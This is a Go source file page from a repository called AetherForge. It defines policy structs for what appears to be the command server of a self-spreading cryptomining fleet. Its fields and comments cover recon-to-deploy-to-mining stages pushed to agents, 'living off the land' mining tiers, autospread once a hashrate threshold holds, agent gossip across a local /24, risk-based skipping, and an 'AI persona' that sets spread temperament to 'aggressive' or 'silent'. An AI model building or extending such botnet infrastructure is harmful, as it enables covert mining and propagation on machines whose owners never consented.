Files
AetherForge/server/internal/api/server_policy.go
AetherForge 0445b7ed4f
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add erasure-coded multi-lane spread foundation.
Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.
2026-06-07 06:09:20 -07:00

47 lines
1.9 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package api
// ServerPolicy holds Calibrate settings enforced at runtime.
type ServerPolicy struct {
MaxAgents int
LogAgentConnections bool
LogShareSubmissions bool
LogPoolTraffic bool
StrictWalletValidation bool
MaxBuildSizeMB int
PoolReconnectSeconds int
LotlOnionTiers []string
ServiceDeployAllowlist map[string]ServiceDeployLane
MiningTierPolicy MiningTierPolicy
TripleOnionPolicy TripleOnionPolicy
// AIControlEnabled replaces adaptive_strategy when true (Fleet AI Control).
AIControlEnabled bool
// AIPersona selects Fleet AI spread propagation temperament (aggressive/silent/…).
AIPersona string
// AtlasLanGossipEnabled relays atlas skip hints between agents on the same /24.
AtlasLanGossipEnabled bool
// FleetRolesEnabled pushes seeder/miner hints on auth and tracks LAN seeders.
FleetRolesEnabled bool
// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread.
HashrateGateSpreadMin int
HashrateGateHPS float64
// ErasureLanesEnabled attaches ReedSolomon shard metadata to signed deploy plans.
ErasureLanesEnabled bool
}
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.
type TripleOnionPolicy struct {
PatchFirst bool `json:"patch_first,omitempty"`
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
HighRiskThreshold int `json:"high_risk_threshold,omitempty"`
ReconTiers []string `json:"recon_tiers,omitempty"`
DeployLanes []string `json:"deploy_lanes,omitempty"`
}
// MiningTierPolicy is server-pulled LOTL mining onion ordering sent to agents at auth.
type MiningTierPolicy struct {
TierOrder []string `json:"tier_order,omitempty"`
SkipTiers []string `json:"skip_tiers,omitempty"`
ForceTier string `json:"force_tier,omitempty"`
}